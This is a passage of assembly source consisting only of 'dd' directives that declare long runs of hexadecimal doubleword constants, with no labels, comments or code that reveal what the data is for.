1D92B32Bh, 0C92C72C0h, 0F2CD2CB2h, 2D32D12Ch, 992B32D5h dd 0F2DC49F2h, 2E218049h, 9E184185h, 418C18A4h, 1A019219h dd 0F92F72F4h, 0C1A12FB2h, 30330019h, 0F52FD301h, 219D3052h dd 2F531019h, 0F53161A9h, 13081952h, 2FB3181Ah, 0C193311h dd 931730D3h, 31D3081Ah, 23315333h, 732F32B3h, 31F30D31h dd 4932B2F9h, 0E1B53053h, 2FB30334h, 0F933F33Fh, 0D32733F2h dd 34F34E19h, 0F7367345h, 818819D2h, 1A61A930h, 0ED377374h dd 80C41D81h, 4604E0Eh, 0E006006h, 60C40442h, 1F21DE1Dh dd 0F61F41FEh, 73952801h, 3A33A01Fh, 0A93A73A5h, 0E1F53A33h dd 3A93AB3Ah, 0B93B61F3h, 73BD27B3h, 27F2BA1Eh, 0C81EB3B3h dd 93C93CB3h, 3D33D13Bh, 0B33D53D5h, 0E1ED3C33h, 0F3E01FFEh dd 3D33D61Fh, 0ED3EA1F1h, 33E73EB3h, 3F73F53Fh, 0FD3EF3F5h dd 21F13FF3h, 1FF4053Eh, 0F140B400h, 140D3E61h, 4033E340h dd 0F4093EBh, 0B3CD40F4h, 4261DF3Ch, 601DF429h, 93221AB2h dd 30943536h, 0FD43734Bh, 0A1AB32F2h, 43D43A1Ah, 49335345h dd 545144F4h, 32132F35h, 5D34B341h, 335733D4h, 35F43743h dd 0B21B3305h, 1A81881h, 1E01941Ch, 0C137E1CCh, 600A1040h dd 0E80E600h, 0EA1DB38Ch, 21993761h, 1A749349h, 9D49B442h dd 34A149F4h, 4A74A54Ah, 754AB377h, 34AD49B3h, 4954AD4Bh dd 0AF375495h, 34C14BE1h, 4C74C54Ch, 0B54C34C9h, 0A1A74CF4h dd 4D74D54Ch, 0DD4DB4D9h, 34E14DF4h, 4E74E54Eh, 0B01B14C9h dd 0D4434C61h, 4421B14Eh, 521B52FFh, 35014FF4h, 50750550h dd 0F3325509h, 951150B2h, 2F746333h, 0A61A01C1h, 41D61F21h dd 740660Ch, 0B54820FEh, 0FEE80660h, 0A1DA0C40h, 4421F01Fh dd 0D34BA1A7h, 75454E94h, 4634C154h, 0AC1A954Dh, 75555521h dd 55555955h, 0E354F54Fh, 355B54F4h, 56B55F55h, 0AD567357h dd 0D5675641h dd 57B57956h, 8157F57Dh, 956957F5h, 4681881Ah, 5D58F45Fh dd 734B31F4h, 32959932h, 3936534Dh, 35A55914h, 5A735130h dd 615AF5ADh, 55981B53h, 33131F30h, 8D59B43Dh, 75B95B15h dd 1F34432Fh, 7537E1D4h, 952C0BC0h, 1E00C4FFh, 0AE1AA1EAh dd 92F55721h, 5821BB49h, 7557154Dh, 14C15555h, 1894A557h dd 0FD32A188h, 33036035h, 60B5715Fh, 1F54F557h, 955B60D3h dd 61B61560h, 0ED5F161Dh, 13176235h, 61F58362h, 161B3567h dd 73455135h, 5BB43F35h, 592F7457h, 154D6413h, 50761137h dd 7F43F64Bh, 76435095h, 4514A536h, 1B3001B5h, 95221F75h dd 115D20Eh, 660F7484h, 21F35DA0h, 31D3195Eh, 241BC1A9h dd 55FE6576h, 12F96334h, 68F68C1Ch, 0B354F691h, 15A13635h dd 1C16901Ah, 0A56A2190h, 0B5C16A36h, 3276AD6Ah, 0AB6AF44Fh dd 0B6B96A76h, 6B41916Bh, 0C56C36C1h, 0B6BD3116h, 6CB6CD6Ch dd 0A76B56C7h, 559B6D36h, 51A1936Ah, 0C55955C5h, 13693435h dd 44750959h, 0FB58F43Dh, 73676F12h, 6E55AF6Eh, 73367307h dd 334E1A14h, 0C526547h, 7008409Eh, 600800C0h, 5DB6700Eh dd 0BC1AE1E7h, 0F3215E41h, 1941BA1Ah, 35733730h, 97397377h dd 1A163573h, 0BD6D16ACh, 0B74973B6h, 74F74D74h, 5418D733h dd 41957517h, 75F75D75h, 3B757761h, 0B7697637h, 76576D76h dd 6F74B759h, 0B7797777h, 6A774F76h, 3F32574Dh, 763F43D7h dd 78B78D78h, 6563578Dh, 96F94354h, 1AB31F33h, 0E61952F8h dd 0E0FE1D61h, 0D007409h, 0E80D5718h, 61E15320h, 1A94301Fh dd 7F2F3300h, 17736AD6h, 7CB7C973h, 737CF749h, 8168FE77h dd 0B6CF31F5h, 79364F6Bh, 677E77E5h, 0F4A54CF3h, 7DB49F4Ah dd 0F97F77E9h, 0F7FD7FB7h, 1F36417Fh, 9F7101E0h, 60AC4A60h dd 1ED5DB7Bh, 0F7C17A0h, 0F67E1953h, 5A73115Ah, 0E96FD5C3h dd 149F43D6h, 8334A74Ch, 356D949Fh, 0F83D83B8h, 84384183h dd 49847845h, 74A584B8h, 85380179h, 59857855h, 980535B8h dd 21180D80h, 141D80C4h, 17413218h, 57381C19h, 6219D57Fh dd 38781B34h, 68360746h, 494A557Fh, 35AF4D75h, 8934F54Eh dd 9188B4EFh, 0F89D8958h, 8958A189h, 9F8A34CBh, 0B8894CB8h dd 1BA1BB88h, 5B5BD4BEh, 0F8BD8BB8h, 1A97938Bh, 821185Eh dd 0AC00A2h, 1CC09A21h, 7131B86Ah, 0F62C1A18h, 6275878Dh dd 9960D8E1h, 0F4CB8438h, 4A38EB8Dh, 0E18F7899h, 0D4DF8AF4h dd 54544384h, 98C1431h, 390D90B9h, 8078C545h, 0CF0F58C9h dd 609A09F8h, 7A01F21Dh, 0DD2EF31Bh, 6F6298FEh, 58758E75h dd 9319318Eh, 0CF84179Fh, 131F8DF4h, 4AD9454Dh, 4D947793h dd 395194F9h, 44F95395h, 5D90F49Dh, 396195F9h, 80B91580h dd 218D1919h, 0B3314999h, 93331D75h, 7D97B885h, 37957E39h dd 74944965h, 8D7D17FFh, 373798F9h, 99799596h, 0C778F999h dd 0A0099698h, 67791F91h, 281A17BFh, 0B99A1AD9h, 9B782930h dd 0B96F35C7h, 39C19BF9h, 6EF8299Ch, 0CD9B35ADh, 37F99CF9h dd 986191h, 9E07E006h, 209A0660h, 67B4F726h, 0F77D1977h dd 131B7592h, 7DF74D99h, 6D3176B9h, 0F5535514h, 0A0746D5Ah dd 4F7D1A07h, 0FA09A095h, 0A17A1597h, 0FFA119FDh, 0DA1D57F9h dd 1A934B46h, 7581A22h, 39D019DAh, 655A35A3h, 0F60D599Fh dd 338F91A8h, 73145792h, 301AE1A9h, 61B72FF7h, 1B21C418h dd 0A2198194h, 0A18A1C81h, 1AC19418h, 0BA1BC1BCh, 14961AA1h dd 0A4F4941Bh, 0FE4BF551h, 9953F4EFh, 0E1AF4981h, 499497A7h dd 974CF4A1h, 219C1901h, 87C1AC1Bh, 9D6BE193h, 3871A9F5h dd 0A6BA6B87h, 693154F9h, 9A4F5E5Ah, 7281BBA6h, 0AB8B3551h dd 0F5E9A801h, 495A701Ah, 0B1A835E1h, 81A1A6E1h, 0AC3551A4h dd 85AD21ABh, 7A1963D6h, 8BDAE7AEh, 0F1AEF9C5h, 7AF5AF3Ah dd 5996E7AFh, 315721C1h, 21B41897h, 9FD3016Ah, 7C1981A1h dd 21A12FF6h, 0D41D01Fh, 3E0BCF96h, 0F921865Ah, 81D9737Bh dd 29B101AFh, 186187Ah, 18E199A3h, 8218E1A2h, 9757A621h dd 2E618A19h, 621A618Fh, 649E18BAh, 7576A21Bh, 0E21A418Dh dd 0B2EC1A52h, 0B65B6175h, 53761B53h, 5B4BB73Bh, 0B494B818h dd 53493B53h, 7B8418FBh, 0B7DB8537h, 85757B65h, 1B87B93Bh dd 0B11B7FB8h, 8FB5418Dh, 0DB5F75BBh, 0B792ED2Dh, 9649FB9Dh dd 57541B61h, 19818BB5h, 0C1B941AAh, 7BC5BC3Bh, 0BCBBC9BCh dd 0BCFEFBCDh, 0D5BD3BD1h, 0BBD9BD7Bh, 0BDFBDDBDh, 0E5BE3BE1h dd 0BBE9BE7Bh, 0BBBBC5BEh, 0BDA67493h, 13281B21h, 1B3A9B63h dd 0A61941A6h, 536D3301h, 0A9B1D66h, 259A3B20h, 0F9E9A45Bh dd 1AD90367h, 41731B34h, 6182173Bh, 17817617h, 7C17C178h dd 3C31C301h, 175B4018h, 31C39C2Ah, 9C452E7Ch, 0C4A185C3h dd 77C2C179h, 3C581821h, 0C45C5018h, 2DC5BC5Bh, 0BC55C63Ch dd 0C45C55C6h, 5FC35C35h, 0DC2A179Ch, 0C31C65C6h, 6DC59C57h dd 175C6BCh, 0C55C51C4h, 69C40183h, 0BC99C87Ch, 0C9FC9DC9h dd 0A5CA3CA1h, 0BCA9CA7Ch, 0C9BCADCAh, 0B5CB3C77h, 0BCB9CB7Ch dd 0CBFCBDCBh, 0C5CC3CC1h, 5CC9CC7Ch, 0B79C65CCh, 79A959ADh dd 21BE1AD8h, 4F9B0E1Bh, 0D61ED36Dh, 1C13C0E1h, 0A47B27A4h dd 0EC1BD81Dh, 0C1BC1BB4h, 0B9E19019h, 0F20F2105h, 21000CE0h dd 0F61080Fh, 0F60EA0EAh, 3D0BD160h, 101D05D0h, 0E81FE00h dd 200E9D16h, 77B7D23Dh, 0D2FD2B7Bh, 39D2BD2Dh, 0FD21D3BDh dd 0D43D400Fh, 0FFD47D45h, 61001080h, 0D53D51D1h, 2FD2FD55h dd 0DD55D55Dh, 0D2DD61D3h, 59D1FD29h, 0BD580F7Dh, 0D72109D0h dd 5DD0FD55h, 0FD7DD7BDh, 0D83D81D7h, 89D87D85h, 7D8DD8BDh dd 0D93D73D8h, 99D63D93h, 0FD9DD9BDh, 0DA3DA1D9h, 0A9DA7DA5h dd 0FDADDABDh, 0D05DADDAh, 821040FFh, 0FB9E1981h, 87D31D2Eh dd 0E3445CDFh, 3B1FCE7Ch, 0A4209FB2h, 1DAD7B29h, 0BCF61BB8h dd 18B9AC1Bh, 1C0CE182h, 0C09C7681h, 4360E49Eh, 760E2088h dd 0C41A5307h, 0E007689Eh, 9E069F3h, 5DF1E03Eh, 61DE0BE0h dd 0F3E15E14h, 0FE0BE189h, 0DF8799E1h, 0FE1E531h, 0C9EBE0FEh dd 0DF076BE2h, 0EBE11E33h, 0FE3DE1E9h, 0E43E41E3h, 49E47E45h dd 0FE4DE4BEh, 0E53E51E4h, 59E57E55h, 0FE5DE5BEh, 0E03E61E5h dd 8128669h, 0F493DBA1h, 2FE1992Eh, 0C0419DFEh, 8930F443h dd 1CE9CE41h, 0A47DD5DDh, 0D38B3321h, 7B9FDE1Ah, 0E26099DEh dd 40098769h, 9DE17Eh, 0E51E13E2h, 4DE22A3Bh, 3E35E2BEh dd 0EB7EB5E6h, 0BDEBBEB9h, 3EC1EBFEh, 0EC7EC5ECh, 0E811DEB9h dd 0DA83C3C0h, 87937551h, 81E7D7F1h, 3C15DCFEh, 67BCEFDDh dd 0F98B3E8Bh, 0C177DE3Ch, 7960E410h, 2E078768h, 0FEC9EB1Eh dd 0E37E2BEFh, 0B1E0DEB3h, 0FE09E31Eh, 0EB89E9F0h, 15E29F15h dd 3F21F1FFh, 0F27F25F2h, 0DF21F29h, 7E0BF23Fh, 0F37F03F1h dd 3DF3BF39h, 20D9E43Fh, 0ECFDEE0Eh, 0A15694D3h, 14AF87D7h dd 1881877Ch, 0E1B1A1F6h, 3C19CEDEh, 72DEEB97h, 77B9F9B1h dd 69E80EC1h, 9C0E5DFh, 4A1FE1E6h, 0E14A0E21h, 0F441E61Fh dd 5F921E0Bh, 1E07F8DEh, 0F9076929h, 9BE09F95h, 41D7E4BFh dd 0E527ABF8h, 6BEAD921h, 3F3FEA27h, 0FB7FB5FBh, 0BDFBBFB9h dd 1F75E4BFh, 0FE218210h, 2FFBFFADh, 71E761C5h, 7F5619D9h dd 0E821D41Fh, 19E87EE3h, 15518713h, 1861C534h, 0F2198192h dd 0E769DF9Eh, 1FE17652h, 0E216Ch, 5DBFD6C2h, 341A0A71h dd 0C1DFEFF8h, 1E1B0C85h dd 0DD70C84Ch, 0E31082BAh, 6BB82C48h, 0E8BC19Eh, 0E7FAEA1Dh dd 86C8A3AAh, 3C9A4715h, 0CAA53289h, 0BA5B2C95h, 0A633097Ch dd 6B3499CCh, 44E91CDAh, 0D75C9D0Eh, 96F379BAh, 713259CDh dd 0AB3194CEh, 3399CD56h, 0A9D6FB62h, 0BC54181h, 9E560201h dd 2EB3113Ch, 5C6A355Fh, 465321A1h, 0A1351ACDh, 632586C9h dd 1C4ECBB6h, 0FD550736h, 0A3E715D3h, 63258EAAh, 377865D6h dd 7B955E4Eh, 9BDF65Dh, 0C1E0B038h, 3E1B0B84h, 4E65F88Ch dd 59AAC13Ah, 2CAE2A03h, 934769D1h, 34FA6D2Eh, 57AAD4EAh dd 0FAED6EB3h, 6450AC35h, 9B3992C9h, 5B2D4C16h, 69E64483h dd 0A1514D74h, 0FF10D95Eh, 6FF7CB15h, 38FEDCDDh, 9B1770BBh dd 0C697509Bh, 0E5FEF338h, 78BB35B3h, 15B4D8B1h, 7CFE7426h dd 0B6DEECB6h, 3DC2DAE7h, 8FC561F1h, 0B77B63B6h, 0C7F77D8Dh dd 9B13B2E2h, 0BD3E8F3Fh, 61ECF5FAh, 98C4713Ah, 0D96B3419h dd 361B2186h, 0A652B2B9h, 0A54AA14Eh, 5A56156Ah, 578D4571h dd 0DA535960h, 5365F836h, 0AC86304Dh, 0BB111075h, 77903480h dd 8FF77DB3h, 34696E2Ah, 68FF86A1h, 0B32B9094h, 85E1B418h dd 61772D02h, 495158Ah, 0EE258751h, 0B33FDDB5h, 8ADDD2B8h dd 0D1A879D0h, 0D5FDC847h, 0FE3E8F5Eh, 42906408h, 7C5EF42Eh dd 0CC3508CAh, 87E4C836h, 0F9987ED4h, 9E8059B7h, 58606811h dd 8C8328D0h, 7358D933h, 116B838Dh, 196E56D1h, 8AA3685Ah dd 9D073DD0h, 9790AE41h, 366499A6h, 0D199D087h, 6EDB93ADh dd 66E9BE71h, 0C90E6599h, 0FE7E9F67h, 8B4CA809h, 318CC305h dd 8C8324D0h, 0A69D4331h, 0FD65FEDFh, 67600669h, 20768203h dd 1318D034h, 78D83756h, 0C541DAB9h, 85E6E70Dh, 8A56CA7Ah dd 56E07185h, 0E5B46D4Ah, 0A2A86783h, 78D06A92h, 2AA9ED0Bh dd 18A6B686h, 0EEBAAE68h, 3A90ABCAh, 0A58CAA11h, 94135296h dd 9A3A4D51h, 99C7FD9h, 0A18159F8h, 580D5971h, 4D1374DDh dd 0CA760F2Eh, 12139806h, 0AA6E1054h, 5B9CD8D0h, 16E8EA70h dd 98662C41h, 90AAA50h, 0C0999704h, 9DD1F6C9h, 0AA6856E4h dd 0F8891F85h, 8219A9D6h, 3B9D26EBh, 0C06BD796h, 704C0F02h dd 0D1D04C4Dh, 20D331CCh, 0F435CD75h, 0A34C6339h, 0A51B25FCh dd 6956CDA4h, 4CD7374Dh, 0CDB513D3h, 42E10180h, 9D79D96Eh dd 92CD156Dh, 0E2F6770Fh, 6ABBCF36h, 47CC53CEh, 0F9988B3h dd 0CA229B7h, 0AE744957h, 745CE1FCh, 796B371Eh, 505704C5h dd 9B743C9h, 92742A91h, 4ED37057h, 41750D3Fh, 4C4144Eh dd 5390CD20h, 3D360DFEh, 0C413E361h, 0E9093F12h, 0A57653B2h dd 593F580Ch, 1C314CB3h, 128BC327h, 84C13B52h, 0A6B26013h dd 10721112h, 74DCF761h, 48F7A1C7h, 0D22DFF73h, 4E0C72D4h dd 4C71DDF7h, 831C753Dh, 0E13891CBh, 660E244Eh, 24177CDFh dd 577F49F9h, 9AE6751Eh, 0E2D80E6Fh, 4401CB9Eh, 3354C218h dd 7DF3A16Dh, 96B18D93h, 0A4650C4Dh, 365952CCh, 632F6735h dd 8CED68Ch, 3C4147D3h, 0E246CDF0h, 50CE450Ch, 15B1050Ch dd 3AD8D4C3h, 0BEE3D6C1h, 0E1E44EFBh, 46CF0F52h, 0BF4FD2F4h dd 450EF496h, 31F4BD0Fh, 0EFFDBF4Ch, 44DF787h, 0CF116CF2h dd 1FCFDC90h, 9CF3389Eh, 0FB7ECFAFh, 0FD1F4D26h, 21AC71E3h dd 30D8E93Ah, 0A891CC53h, 0A3E4EEABh, 0A9394ACAh, 280EC502h dd 0D71DA0D4h, 3B0C019Ch, 836A6F84h, 0C6D49E70h, 65F83E27h dd 352728Bh, 8255051Fh, 2F294EBDh, 0C863F270h, 0FE273104h dd 8981C037h, 5C9BD807h, 0C1E82EF5h, 780F0882h, 0FB94E906h dd 18C3085Eh, 7784A42Eh, 942F83E8h, 49FB8D71h, 0A0D97F43h dd 1758B1CCh, 6C5E0036h, 0C680D980h, 0D819436h, 0FD0206Fh dd 15438B86h, 0C5B9F718h, 0E80E4415h, 7D15A073h, 29BC3787h dd 0EC5C8A2Eh, 771AE0E2h, 0D051BB37h, 85C528Bh, 0C5B6DEE1h dd 8A22162Eh, 0DDDCA085h, 324698A8h, 748E71CAh, 0EF1DA3ACh dd 0EA3CC788h, 0EC7C8F71h, 8FF1FA3h, 0F20A40C8h, 0C3916C8Fh dd 0C370F821h, 2B8A161Ch, 0FF9AFBFBh, 0B23AF62Ah, 5E19CD99h dd 9C375D21h, 0F04A0BE1h, 0E3CE8DA0h, 46F91641h, 516C2A84h dd 508C2D8Bh, 3C6A518h, 7761E01Eh, 0F5E4FB95h, 58883712h dd 600AA20Eh, 7B051F1Ah, 91E94177h, 60838B10h, 4938DDA1h dd 0B28A0684h, 5F1C1923h, 0C3242309h, 7D732A64h, 4E483BD6h dd 2606411Ch, 391922F8h, 7C34C69Ch, 0A2FE8DF2h, 0AE629238h dd 27009B1Bh, 861C0D49h, 0F0C31BC3h, 31240AC5h, 13A83D83h dd 4308800Dh, 4F010C18h, 9E13B83Fh, 0E843076h, 30094074h dd 7409E1D0h, 6F3AA7E8h, 101D8840h, 0E83706E2h, 0E10C1D27h dd 0C10A7807h, 1089410h, 50FA1F3Ch, 8421830h, 1084A076h dd 7E08602Eh, 86A0F3EEh, 0FA21A7A8h, 0E43C8379h, 28601081h dd 80FD4569h, 6A8352h, 0A8108010h, 8752AD46h, 0EC1DA7Eh dd 14A89D25h, 43515128h, 2CA714D4h, 7C20033Dh, 0CC33867Ah dd 906110D3h, 8A1609E8h, 10A9450h, 0AA6D10A9h, 0D50A9F53h dd 0AA754AA8h, 55AAAD54h, 0ACD58AAFh, 5CAB756Ah, 0BF57AAEDh dd 72B0D60Ah, 0A876A375h, 206C1D43h, 6A686D4Dh, 0E6D4D861h dd 3FF6C10Fh, 926EC18Bh, 360680D6h, 8ECE59C6h, 0D2184306h dd 0E66B8780h, 0B4731121h, 91121CC3h, 61CC3148h, 0B620690Eh dd 87A8EF1Eh, 0D901F163h, 43E6FEBFh, 0ACA8EF1Dh, 0EB1DA6Bh dd 0B043AECCh, 66ECD0EDh, 75D971CDh, 0EDB30314h, 283BC798h dd 10740F3Bh, 0C8F3B1B6h, 0D1E76B87h, 23C07B0Eh, 47559DB3h dd 588B483Dh, 1D16A6CCh, 622CC59Dh, 0CC585B11h, 7F1D761Eh dd 0D039AC05h, 22D30E81h, 95C91DF7h, 0E1F36B6Ch, 7716E21Ah dd 0AEADD4BAh, 0DD8BAF75h, 0BB776AECh, 77AEEDDCh, 0F0DE0BBFh dd 0E4BC778Ah, 0CF79AF2Dh, 0AACADE3Bh, 18E8BD57h, 61283047h dd 63206008h, 8653F71Ah, 3A81AC35h, 0AE0EAE1Fh, 95E6F490h dd 6A25B6CCh, 0BEAF0374h, 0DC2543E0h, 0F4848F51h, 0C0FF1FA3h dd 8B5C87C7h, 0B742E826h, 47A60BB5h, 0E0BC2C3Fh, 0C3185B0Ch dd 3EED760Eh, 8E201ECh, 0C63716BBh, 0F63DB0F9h, 347D9AE1h dd 40F92138h, 0DC483EF1h, 0D8BC7DE1h, 884E19B5h, 0E231ED8Ch dd 1FE3EB06h, 8CF130FAh, 160D3C67h, 9C2188Fh, 0F18AF071h dd 0E069E121h, 901F26FEh, 9F939345h, 4B28E50Ch, 0AE54CA79h dd 8CAF95B2h, 796B2CE5h, 0B2EE5CCBh, 0E60CBF97h, 0CC798B30h dd 8A30C9CFh, 3007E1D1h, 0D51A0314h, 0F2314698h, 6D061A57h dd 1B6275B3h, 62B83410h, 835AFB0Ch, 70B1992h, 4F17D7Eh dd 1FA3BC3Fh, 8331E0FCh, 44E88CC9h, 8CD17A2Bh, 1FA3B46Eh dd 4B48E90Dh, 0A694D27Ah, 0E1EA3E72h, 180865D3h, 56235A1Bh dd 0D6F62250h, 0CED37647h, 57F3D678h, 3F8DD632h, 87D041D3h dd 5FABB4AEh, 0CB58EB0Dh, 0AEB4D67Ah, 5D13ADB5h, 0C32E8F8Fh dd 74EB5919h, 3FCD7E36h, 8859D164h, 7DF52A05h, 9E8D4513h dd 71807D0h, 0F783079Dh, 4B5BE3B1h, 0AED4DA7Bh, 8DAFB5B6h dd 38EF586Dh, 0C5F074D7h, 0CA61457h, 0CE6B14D3h, 9DEB9441h dd 0FBE791A9h, 5950C36Eh, 0DB31623h, 0AB0F9C51h, 0AEF4DB38h dd 8DEFBDB7h, 3AD37CEFh, 0B6F04FD7h, 0D361432h, 0FE2D7B71h dd 0F3ACDCD4h, 6E9DCE56h, 0CD8A246Bh, 364680D1h, 7FECD1A4h dd 14DF5BC8h, 2FC5B8AFh, 0AB8BF18Eh, 0F5331DF8h, 0FD530E77h dd 3B9102EBh, 0B843AFAEh, 8D49299Eh, 1B232B36h, 3CC3F6CCh dd 8CF131F0h, 34E67CCBh dd 1BCDB9AFh, 747AE2ADh, 0E438193Ch, 0D7E7D1Ah, 97F7918Dh dd 73D6E8D4h, 66D2C236h, 18031063h, 3BC3E886h, 56E2AE24h dd 54EA7CDFh, 6DD5BAAFh, 0E87E0F9Eh, 28BE0EDCh, 0ACF6C70Ah dd 57EEB714h, 762F06D4h, 25BBEFD1h, 18E3546Bh, 1FBA58C5h dd 1E9C50F8h, 57EA43FFh, 0EFDDBBAFh, 0F369778Eh, 0DD1D1FA3h dd 763832B5h, 2504A08Dh, 0B61F04E8h, 73C2BB5Ch, 294571D9h dd 30864287h, 7B07D0FCh, 0D11F3C48h, 2FE5BBCEh, 2FCCF98Fh dd 0E87D1E7Ah, 61923003h, 296BA029h, 0F51F4275h, 8DEF12C5h dd 511253C5h, 0E4FC8F8Fh, 0D8F9AF2Bh, 0B4F67ECBh, 3DE73277h dd 17877A0Fh, 0C1FEF471h, 0FDC92206h, 37D57A8Bh, 7F92F5BEh dd 8F6BEC31h, 0BF2BE4FCh, 7CFFB7EAh, 0EC0F77E8h, 0F11D97D2h dd 0EB3E1366h, 0CA7C5F21h, 0DCFB7F2Fh, 9BC5BEEFh, 47D17B9Fh dd 8EE5F0BFh, 3F828164h, 1E3BD596h, 0BEF7AFFBh, 0FF0FDFFBh dd 0F9FF8369h, 0F4BDE0D0h, 0C57D4D89h, 0ECF87FA7h, 0FFFC7E37h dd 1801800Fh, 7BA7F369h, 637E37F5h, 77F87057h, 7FB7D57Eh dd 0FE7AE7D7h, 28118027h, 65D81381h, 0A47E2804h, 17BF7E47h dd 80C28740h, 0D980E78Ch, 28147C77h, 82482382h, 187D0816h dd 67868088h, 7FA81C7Eh, 0C40C981Eh, 28247ED7h, 81283383h dd 50CE804h, 0C7BD7BA2h, 2547A65Fh, 3082E7E8h, 28348108h dd 7DE84384h, 7838836h, 78093FD8h, 82D80B78h, 0FD82F7ABh dd 28447DA7h, 7B585385h, 3A7CF846h, 0C80A7648h, 80D7A982h dd 5180F84Fh, 28618548h, 85677986h, 4B7F7839h, 0E7D685B8h dd 3820FE85h, 86E86D86h, 0CE79D7CCh, 88477F57h, 82A84982h dd 4E81D7C0h, 78608408h, 64E00065h, 806D287Eh, 8826598h dd 87F88465h, 88651886h, 0A2688858h, 6F488h, 8D64F88Fh dd 38926568h, 8941CF89h, 97653895h, 389A6588h, 65289C88h dd 7E88889Ah, 17F289E8h, 8377B987h, 2B867857h, 87A83E8h dd 65582185h, 938A3882h, 365F8B16h, 88489C8Ah, 0B06B58B3h dd 38B888C8h, 8B48BA66h, 8B8BC654h, 6618BD8h, 7148898Ah dd 0C2848865h, 0D8787E56h, 86B28784h, 0A265A831h, 0F8908968h dd 8D28BE0Fh, 0D48B08BBh, 8DB88F8h, 1098DC88h, 0D58DE8BAh dd 48D58D48h, 8DF8D38Eh, 0E28E28E3h, 98EB8DA8h, 8DB8DD8Dh dd 0B78ED8E7h, 48E58EF8h, 8EA8F08Fh, 0E58968DDh, 98EA8F88h dd 8B18EE8Fh, 0FE8878E0h, 0C8E98FD8h, 9028F48Fh, 0E18908D3h dd 59078E48h, 8F38E190h, 0DF8ED8F0h, 89058F98h, 691190FEh dd 9018F78Fh, 0F8E0917h, 28FA90A9h, 8D790E91h, 0C86D990Fh dd 0A8CA8758h, 8797A781h, 0AE87B8CEh, 0E9068988h, 91390492h dd 1E90390Bh, 0F9129009h, 8A18FA92h, 2F88C8F5h, 69328FB9h dd 93E8BE93h, 429358F5h, 391F93B9h, 93F93D93h, 0D68B693Dh dd 89369458h, 94193393h, 318918D7h, 694E8EE9h, 8C294A88h dd 5B95293Ah, 395C94D9h, 95695794h, 4595F92Eh, 0C94C8F89h dd 9246F495h, 0AA84A858h, 0B1A59298h, 94065D92h, 5D939967h dd 0C95191E9h, 94891593h, 7288A913h, 49529109h, 9408DE95h dd 82973977h, 39219469h, 8F28F18Fh, 7F96788Dh, 393B9879h dd 96193A96h, 1097893Fh, 699094E9h, 8FE98D8Dh, 0EF91B8E8h dd 298B8DC8h, 9A094699h, 0D2903976h, 18F79668h, 9696958Ch dd 5C8CC8A9h, 8AD83F8h, 97795497h, 0A09B287Fh, 89509659h dd 9B89B395h, 5A94C939h, 0FE959539h, 0D9849379h, 9329A59Bh dd 3197A9A4h, 9A68839h, 98E99696h, 919C69B6h, 0F9BC9759h dd 98F9CD99h, 0A18C6921h, 0F9819BE9h, 9CC95E9Ch, 0C49A29A3h dd 99A96F89h, 92874381h, 0AE96E8CDh, 197165C9h, 9359749Bh dd 0B79A19B5h, 0C94D9CF9h, 9D39BB9Bh, 0C29819B0h, 49C29539h dd 9CE97C9Ch, 0B29D09D5h, 0F9ED9BB9h, 9E99C99Bh, 629B89F3h dd 69EE9C59h, 9D8A00A0h, 0F5963958h, 89849C39h, 9E06D69Dh dd 1B8CB829h, 692A8AB8h, 98965B9Eh, 179BE915h, 0A99290D9h dd 90CA2190h, 0DB91497Bh, 0CA259169h, 0A2AA1C8Eh, 22987A1Dh dd 898C8B79h, 89F92294h, 1C9958E8h, 4A2F8E39h, 0A3498091h dd 399E98E7h, 0CA25A36Ah, 8D891C93h, 8DA27901h, 0C9089D79h dd 0A34997A1h, 329EC9FFh, 6A136D7Ah, 9E3A1587h, 5F8AC9ACh dd 76D692C8h, 8977329Ah, 5D86FA24h, 6A50689Ah, 83D9E292h dd 418CF96Dh, 59FE6F58h, 0DA3B717Ah, 0A5E8E69Bh, 60663A6Dh dd 9A627BEAh, 0A18A547Fh, 77A6EA56h, 5968A78Ah, 8A72968Ah dd 3C9E1866h, 0F86AA738h, 0A84A7996h, 706B6A85h, 0C7D383BAh dd 9E5A7484h, 8FA86A76h, 0B9A8A90Ah, 8A8873A7h, 69A8AA7Fh dd 1A8385D8h, 0A9CA9BA9h, 7DA9379Bh, 0A718C9Ah, 0A82A8BA8h dd 0A7A9DA19h, 865EAA8Ah, 868859A8h, 6CA8DA17h, 2AB1AA98h dd 0AAB657ABh, 0A59AB96Bh, 86B1A8EAh, 90965EA6h, 59662990h dd 0D9AFA5CAh, 9FCABEA1h, 95ABB660h, 0F9B9A5B6h, 97968B8Ah dd 0CBA3CAC3h, 7AB5733Ah, 0A64A1687h, 2779A9Ah, 5AC7688Ah dd 9CDA1AA0h, 0F9ABFADCh, 974AC96h, 9E7ACC8Ch, 0D273489Bh dd 4A63A52Ah, 87CA659Eh, 1AA2987Dh, 88EBA2D9h, 9B099491h dd 43A20A1Fh, 7A3EABDAh, 8F18EC95h, 3AA1E9FEh, 290E8F6Ah dd 91D8C29Ah, 2A48AEFh, 0DA22907Bh, 938A0BABh, 0FAFCA45h dd 0A91FE6Bh, 0CA2EA23Bh, 999A3699h, 5AA46AE2h, 2B01B159h dd 0AFFAF18Ah, 0DAB18AFCh, 86B3A078h, 0AEA927AEh, 57AECA8Ch dd 3B0CAC5Ah, 96198F9Fh, 0DE9839D3h, 0E8C69419h, 0B2DACFB2h dd 0CEB22A05h, 9509BFAh, 0A0C9429Fh, 499E9CCh, 4947A0D9h dd 0B40A0A9Bh, 0D0AF59DBh, 4A09B319h, 9CBAF794h, 0EAA0499Fh dd 0FADAA269h, 0A72B2565h, 0A6A99AA4h, 0ADD87DAh, 0B4CA2698h dd 0D1B3F960h, 399DB529h, 0A00B5DACh, 75B6695Dh, 4A35A389h dd 9C59FBACh, 5FB4DA6Bh, 697EA09Bh, 0B2FB6995h, 69965B4Eh dd 0AB7A95EBh, 0B39949ACh, 0F5B72AFEh, 49B1A31Ah, 0B4F983B6h dd 566B2B51h, 0DA98AA3Bh, 9C7AB99Ah, 4E9DA9FDh, 79F7B0DBh dd 9F4B62B7h, 91A02ABEh, 7891B90Bh, 944B49A3h, 3BA11894h dd 0A9E89FBBh, 0B9EB92A4h, 0D48FBB9Bh, 9B72B339h, 9DDB7DB9h dd 71B6188Bh, 89FA9EEBh, 9D9B65ADh, 8A6B1A3Dh, 0AEA97BFEh dd 39AFB29Ah, 0B9AB67B4h, 0C1B81B94h, 0CB6BB32Ah, 0B979D2BAh dd 48B6CB38h, 3BCBBA7Bh, 0BBFB6B9Bh, 9ABAEB23h, 7BD5BAABh dd 0A47B46BCh, 449EFB95h, 8991B67Bh, 0B5EBB4A3h, 0B9B88BC2h dd 0A874A9FBh, 0A53AD396h, 9BAB0AB8h, 9BEDA378h, 0A4ABAFAFh dd 